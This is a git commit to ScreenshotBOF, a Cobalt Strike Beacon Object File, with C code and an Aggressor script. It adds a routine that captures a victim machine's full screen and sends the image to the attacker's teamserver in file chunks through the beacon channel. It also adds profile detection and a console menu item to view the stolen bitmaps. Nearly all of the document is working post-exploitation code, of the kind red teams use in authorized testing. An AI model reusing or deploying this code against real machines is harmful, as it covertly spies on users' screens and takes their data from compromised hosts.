Added a check around the profile to choose where to save it to. If URI param, saves to screenshots, otherwise saves to downloads. Also, added an item to the right-click menu in downloads to render the image as a BMP

This commit is contained in:
BinaryFaultline 2022-10-28 16:27:48 -05:00
parent dea10235e2
commit 1c4b3d84cc
4 changed files with 236 additions and 11 deletions

View File

@ -6,7 +6,7 @@
#pragma comment(lib, "Gdi32.lib")
/*Download Screenshot*/
void downloadScreenshot(unsigned char* jpg, int jpgLen, int session, char* windowTitle, int titleLen, char* username, int usernameLen) {
void downloadScreenshot(char* jpg, int jpgLen, int session, char* windowTitle, int titleLen, char* username, int usernameLen) {
// Function modified by @BinaryFaultline
// This data helped me figure out the C code to download a screenshot. It was found in the BOF.NET code here: https://github.com/CCob/BOF.NET/blob/2da573a4a2a760b00e66cd051043aebb2cfd3182/managed/BOFNET/BeaconObject.cs
@ -79,6 +79,137 @@ void downloadScreenshot(unsigned char* jpg, int jpgLen, int session, char* windo
return;
}
void downloadFile(char* fileName, int downloadFileNameLength, char* returnData, int fileSize) {
//Intializes random number generator to create fileId
time_t t;
MSVCRT$srand((unsigned)MSVCRT$time(&t));
int fileId = MSVCRT$rand();
//8 bytes for fileId and fileSize
int messageLength = downloadFileNameLength + 8;
char* packedData = (char*)MSVCRT$malloc(messageLength);
//pack on fileId as 4-byte int first
packedData[0] = (fileId >> 24) & 0xFF;
packedData[1] = (fileId >> 16) & 0xFF;
packedData[2] = (fileId >> 8) & 0xFF;
packedData[3] = fileId & 0xFF;
//pack on fileSize as 4-byte int second
packedData[4] = (fileSize >> 24) & 0xFF;
packedData[5] = (fileSize >> 16) & 0xFF;
packedData[6] = (fileSize >> 8) & 0xFF;
packedData[7] = fileSize & 0xFF;
int packedIndex = 8;
//pack on the file name last
for (int i = 0; i < downloadFileNameLength; i++) {
packedData[packedIndex] = fileName[i];
packedIndex++;
}
BeaconOutput(CALLBACK_FILE, packedData, messageLength);
if (fileSize > (1024 * 900)) {
//Lets see how many times this constant goes into our file size, then add one (because if it doesn't go in at all, we still have one chunk)
int numOfChunks = (fileSize / (1024 * 900)) + 1;
int index = 0;
int chunkSize = 1024 * 900;
while (index < fileSize) {
if (fileSize - index > chunkSize) {//We have plenty of room, grab the chunk and move on
/*First 4 are the fileId
then account for length of file
then a byte for the good-measure null byte to be included
then lastly is the 4-byte int of the fileSize*/
int chunkLength = 4 + chunkSize;
char* packedChunk = (char*)MSVCRT$malloc(chunkLength);
//pack on fileId as 4-byte int first
packedChunk[0] = (fileId >> 24) & 0xFF;
packedChunk[1] = (fileId >> 16) & 0xFF;
packedChunk[2] = (fileId >> 8) & 0xFF;
packedChunk[3] = fileId & 0xFF;
int chunkIndex = 4;
//pack on the file name last
for (int i = index; i < index + chunkSize; i++) {
packedChunk[chunkIndex] = returnData[i];
chunkIndex++;
}
BeaconOutput(CALLBACK_FILE_WRITE, packedChunk, chunkLength);
}
else {//This chunk is smaller than the chunkSize, so we have to be careful with our measurements
int lastChunkLength = fileSize - index + 4;
char* lastChunk = (char*)MSVCRT$malloc(lastChunkLength);
//pack on fileId as 4-byte int first
lastChunk[0] = (fileId >> 24) & 0xFF;
lastChunk[1] = (fileId >> 16) & 0xFF;
lastChunk[2] = (fileId >> 8) & 0xFF;
lastChunk[3] = fileId & 0xFF;
int lastChunkIndex = 4;
//pack on the file name last
for (int i = index; i < fileSize; i++) {
lastChunk[lastChunkIndex] = returnData[i];
lastChunkIndex++;
}
BeaconOutput(CALLBACK_FILE_WRITE, lastChunk, lastChunkLength);
}
index = index + chunkSize;
}
}
else {
/*first 4 are the fileId
then account for length of file
then a byte for the good-measure null byte to be included
then lastly is the 4-byte int of the fileSize*/
int chunkLength = 4 + fileSize;
char* packedChunk = (char*)MSVCRT$malloc(chunkLength);
//pack on fileId as 4-byte int first
packedChunk[0] = (fileId >> 24) & 0xFF;
packedChunk[1] = (fileId >> 16) & 0xFF;
packedChunk[2] = (fileId >> 8) & 0xFF;
packedChunk[3] = fileId & 0xFF;
int chunkIndex = 4;
//pack on the file name last
for (int i = 0; i < fileSize; i++) {
packedChunk[chunkIndex] = returnData[i];
chunkIndex++;
}
BeaconOutput(CALLBACK_FILE_WRITE, packedChunk, chunkLength);
}
//We need to tell the teamserver that we are done writing to this fileId
char packedClose[4];
//pack on fileId as 4-byte int first
packedClose[0] = (fileId >> 24) & 0xFF;
packedClose[1] = (fileId >> 16) & 0xFF;
packedClose[2] = (fileId >> 8) & 0xFF;
packedClose[3] = fileId & 0xFF;
BeaconOutput(CALLBACK_FILE_CLOSE, packedClose, 4);
return;
}
#pragma region error_handling
#define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
@ -93,7 +224,7 @@ BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
#pragma endregion
BOOL SaveHBITMAPToFile(HBITMAP hBitmap)
BOOL SaveHBITMAPToFile(HBITMAP hBitmap, int getOnlyProfile)
{
HDC hDC;
int iBits;
@ -118,7 +249,7 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap)
GetObject(hBitmap, sizeof(Bitmap0), (LPSTR)&Bitmap0);
bi.biSize = sizeof(BITMAPINFOHEADER);
bi.biWidth = Bitmap0.bmWidth;
bi.biHeight = Bitmap0.bmHeight;
bi.biHeight = -Bitmap0.bmHeight;
bi.biPlanes = 1;
bi.biBitCount = wBitCount;
bi.biCompression = BI_RGB;
@ -163,9 +294,10 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap)
bmfHdr.bfReserved1 = 0;
bmfHdr.bfReserved2 = 0;
bmfHdr.bfOffBits = (DWORD)sizeof(BITMAPFILEHEADER) + (DWORD)sizeof(BITMAPINFOHEADER) + dwPaletteSize;
unsigned char* bmpdata = (unsigned char*)malloc(sizeof(BITMAPFILEHEADER) + dwDIBSize);
void* bmpdata = malloc(sizeof(BITMAPFILEHEADER) + dwDIBSize);
memcpy(bmpdata, &bmfHdr, sizeof(BITMAPFILEHEADER));
memcpy(((unsigned char*)bmpdata) + sizeof(BITMAPFILEHEADER), lpbi, dwDIBSize);
memcpy(((char*)bmpdata) + sizeof(BITMAPFILEHEADER), lpbi, dwDIBSize);
// The CALLBACK_SCREENSHOT takes sessionId, title (window title in default CS screenshot fork&run), username, so we need to populate those
// Since the original author didn't do any window enumeration, I am not going through the effort of doing that enumeration, instead it's hardcoded
@ -173,12 +305,24 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap)
KERNEL32$ProcessIdToSessionId(KERNEL32$GetCurrentProcessId(), &session);
char* user;
user = (char*)getenv("USERNAME");
char title[] = "Right-click and \"Render BMP\" to view";
char title[] = "Right-click this and \"Render BMP\" to view";
char fileName[] = "ScreenshotBOF - Downloaded BMP.bmp";
int userLength = MSVCRT$_snprintf(NULL,0,"%s",user);
int titleLength = MSVCRT$_snprintf(NULL,0,"%s",title);
int fileNameLength = MSVCRT$_snprintf(NULL,0,"%s",fileName);
downloadScreenshot(bmpdata, sizeof(BITMAPFILEHEADER) + dwDIBSize, session,(char*)title, titleLength, (char*)user, userLength);
// If the profile is get-only (termination in post client is URI based), download it as a screenshot, otherwise, download it as a file
if (getOnlyProfile > 0){
BeaconPrintf(0x0, "[+] URI post profile detected. Saving bitmap screenshot to Screenshots tab. Note, this takes a little while...");
downloadScreenshot((char *)bmpdata, sizeof(BITMAPFILEHEADER) + dwDIBSize, session,(char*)title, titleLength, (char*)user, userLength);
} else {
BeaconPrintf(0x0, "[+] Post body profile detected. Saving bitmap screenshot to Downloads tab...");
downloadFile((char*)fileName, fileNameLength, (char *)bmpdata, sizeof(BITMAPFILEHEADER) + dwDIBSize);
}
//downloadScreenshot((char *)bmp_bmp, bmp_bmp_len, session,(char*)title, titleLength, (char*)user, userLength);
//WriteFile(fh, (LPSTR)bmpdata, sizeof(BITMAPFILEHEADER)+ dwDIBSize, &dwWritten, NULL);
/* clean up */
@ -191,6 +335,9 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap)
#ifdef BOF
void go(char* buff, int len) {
datap parser;
int getOnlyProfile;
BeaconDataParse(&parser, buff, len);
getOnlyProfile = BeaconDataInt(&parser);
int x1, y1, x2, y2, w, h;
// get screen dimensions
x1 = GetSystemMetrics(SM_XVIRTUALSCREEN);
@ -217,9 +364,9 @@ void go(char* buff, int len) {
CloseClipboard();
*/
BeaconPrintf(0x0, "[+] Saving bitmap screenshot to Screenshots tab...");
SaveHBITMAPToFile(hBitmap);
SaveHBITMAPToFile(hBitmap, getOnlyProfile);
BeaconPrintf(0x0, "[+] Screenshot downloaded...");
// clean up
SelectObject(hDC, old_obj);
DeleteDC(hDC);

Binary file not shown.

Binary file not shown.

View File

@ -38,6 +38,38 @@ sub display_image {
}
# This function takes in a screenshot and creates a JLabel to display the screenshot
sub display_downloaded {
local('$screenshot $screenshot_bytes $bid $user $computer $client $MAX_IMAGE_WIDTH $MAX_IMAGE_HEIGHT $bias $image $width $height $icon $scaledIcon $component $tab_name');
$screenshot_bytes = $1;
$file_name = $2;
$client = getAggressorClient();
$MAX_IMAGE_WIDTH = [[[$client getTabManager] getTabbedPane] getWidth];
$MAX_IMAGE_HEIGHT = [[[$client getTabManager] getTabbedPane] getHeight];
$bais = [new ByteArrayInputStream: $screenshot_bytes];
$image = [ImageIO read: $bais];
$width = [$image getWidth];
$height = [$image getHeight];
$icon = [new ImageIcon: $image];
if ($width > $MAX_IMAGE_WIDTH) {
$width = $MAX_IMAGE_WIDTH;
}
if ($height > $MAX_IMAGE_HEIGHT) {
$height = $MAX_IMAGE_HEIGHT;
}
$scaledIcon = [new ImageIcon: [$image getScaledInstance: $width, $height, 4]];
$component = [new JLabel: $scaledIcon];
$tab_name = "ScreenshotBOF - $file_name";
addTab($tab_name, $component, "...");
}
# Checks the screenshot when it comes in to see if it is a BMP, then if so, renders it in a new tab
on screenshots {
local('$screenshot $data');
@ -51,6 +83,45 @@ on screenshots {
}
}
popup_clear("downloads");
popup downloads {
# do nothing if nothing is selected
if (size($1) == 0) {
return;
}
item "Interact" {
openOrActivate($1[0]["bid"]);
}
menu "&Color" {
local('$ids');
$ids = map({ return $1["id"]; }, $1);
insert_component(colorPanel("accents", $ids));
}
item "Render &BMP" {
local('$download $lpath $name $count');
foreach $count => $download ($1) {
($lpath, $name) = values($download, @("lpath", "name"));
sync_download($lpath, script_resource("file $+ .$count"), lambda({
$handle = openf($1);
$data = readb($handle, -1);
closef($handle);
#println(charAt($data, 0));
#println(charAt($data, 1));
if (charAt($data, 0) eq "B" && charAt($data, 1) eq "M") {
display_downloaded($data, $1);
} else {
show_error("File is not a Bitmap image");
}
deleteFile($1);
}, \$name));
}
}
}
popup_clear("screenshots");
popup screenshots {
item "&Interact" {
@ -107,8 +178,15 @@ alias screenshot_bof {
$data = readb($handle, -1);
closef($handle);
# figure out if the profile chooses to chunk the post or not (getOnlyProfile)
$profile = data_query("metadata")["c2profile"];
$getOnlyProfile = [$profile shouldChunkPosts];
println($getOnlyProfile);
$args = bof_pack($bid, "i", $getOnlyProfile);
# announce what we're doing
btask($bid, "Running screenshot BOF by (@codex_tf2)", "T1113");
# execute it.
beacon_inline_execute($bid, $data, "go");
beacon_inline_execute($bid, $data, "go", $args);
}